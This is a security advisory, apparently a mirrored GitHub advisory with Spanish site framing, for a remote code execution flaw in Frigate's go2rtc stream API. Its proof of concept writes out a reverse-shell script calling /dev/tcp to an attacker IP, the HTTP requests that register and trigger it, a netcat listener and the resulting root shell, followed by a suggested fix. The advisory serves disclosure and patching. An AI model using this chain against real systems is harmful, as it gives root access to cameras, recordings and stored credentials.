GHSA-WWWW-5H25-JF98
Authenticated Admin Can Achieve RCE via go2rtc Stream API — exec: Filter Not Enforced at API Layer
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-WWWW-5H25-JF98 divulgada · CVSS 9.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
There is no indication that Frigate's built in authentication has been bypassed. This vulnerability is only exploitable by an administrator or users who have exposed their Frigate install to the open internet with no authentication which allows anyone full administrative control.
### Summary
Similar to GHSA-4c97-5jmr-8f6x https://github.com/blakeblackshear/frigate/security/advisories/GHSA-4c97-5jmr-8f6x, Frigate's `PUT /api/go2rtc/streams/{name}` endpoint forwards the src query parameter directly to go2rtc's internal API without applying the exec: source restriction that exists in the config file pipeline. An authenticated admin can exploit this to register an arbitrary system command as a go2rtc stream source, then trigger its execution using the `GET
/api/ffprobe/snapshot` endpoint — achieving remote code execution as root inside the container in two HTTP requests.
### Details
In the previous fix, Frigate applies an exec: protocol filter in docker/main/rootfs/usr/local/go2rtc/create_config.py to prevent arbitrary commands from being registered as go2rtc stream sources at startup:
def is_restricted_source(stream_source: str) -> bool:
return stream_source.strip().startswith(("echo:", "expr:", "exec:"))
if not ALLOW_ARBITRARY_EXEC and is_restricted_source(formatted_stream):
del go2rtc_config["streams"][name]
continueThis filter is only evaluated during the config.yml → go2rtc.yaml conversion that runs at startup. The `go2rtc_add_stream()` function in frigate/api/camera.py (~line 121) exposes a separate code path to the same go2rtc stream registration API, but never calls `is_restricted_source()`:
@router.put("/go2rtc/streams/{stream_name}", dependencies=[Depends(require_role(["admin"]))])
def go2rtc_add_stream(request: Request, stream_name: str, src: str = ""):
params = {"name": stream_name}
if src:
params["src"] = substitute_frigate_vars(src) # no exec: check
r = requests.put("http://127.0.0.1:1984/api/streams", params=params, timeout=10)go2rtc defers execution of exec: sources until a consumer connects to the stream. The ffprobe_snapshot() function in frigate/api/camera.py (~line 329) provides the trigger — it passes the url parameter directly to ffmpeg without validation:
@router.get("/ffprobe/snapshot", dependencies=[Depends(require_role(["admin"]))])
def ffprobe_snapshot(request: Request, url: str = "", timeout: int = 10):
image_data, error = run_ffmpeg_snapshot(config.ffmpeg, url, "mjpeg", timeout=timeout)By supplying go2rtc's internal HTTP endpoint (http://127.0.0.1:1984/api/stream.mp4?src=revshell) as the url parameter, ffmpeg connects to go2rtc as a consumer, which causes go2rtc to start the registered exec: source and execute the payload.
### PoC
Environment: Frigate stable, deployed via the official Docker image with default configuration.
#### Step 1 — Obtain an admin session
Log in through the Frigate UI or API and capture the frigate_token JWT cookie.
Step 2 — Write the payload to the container
docker exec frigate bash -c 'printf "#!/bin/bash\nbash -i >& /dev/tcp/<ATTACKER_IP>/1881 0>&1\n" > /tmp/rev.sh && chmod +x /tmp/rev.sh'Step 3 — Register the exec: stream source
PUT /api/go2rtc/streams/revshell?src=exec:/tmp/rev.sh HTTP/1.1
Host: <frigate_host>
Cookie: frigate_token=<JWT>
Content-Length: 0Expected response:
{"success": true, "message": "Stream added successfully"}Step 4 — Start a listener on the attacker machine
nc -nvlp 1881Step 5 — Trigger execution
GET /api/ffprobe/snapshot?url=http%3A%2F%2F127.0.0.1%3A1984%2Fapi%2Fstream.mp4%3Fsrc%3Drevshell&timeout=30 HTTP/1.1
Host: <frigate_host>
Cookie: frigate_token=<JWT>Expected response (snapshot fails, payload has already executed):
{"success": false, "message": "Failed to capture snapshot"}Result:
Connection from 192.168.1.103:54305
root@ea26f7f199b3:/# id
uid=0(root) gid=0(root) groups=0(root)_### Impact
This is an authenticated remote code execution vulnerability. Any user holding a valid admin session can execute arbitrary operating system commands as root inside the Frigate container.
Frigate's recommended deployment configuration sets privileged: true and mounts host paths, making container escape a realistic follow-on step. A compromised instance gives an attacker full access to camera recordings, credentials stored in the configuration, and network resources reachable from the container.
### Suggested fix
Apply the existing is_restricted_source() check inside go2rtc_add_stream() before forwarding the src parameter to go2rtc:
if src and is_restricted_source(src):
raise HTTPException(status_code=400, detail="Restricted stream source type")This closes the gap between the config pipeline and the API layer, ensuring both code paths enforce the same restriction.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
PyPIfrigate |
Corregida | >=0.17.2 | — | — |
>=0.17.2Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/blakeblackshear/frigate/security/advisories/GHSA-wwww-5h25-jf98Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
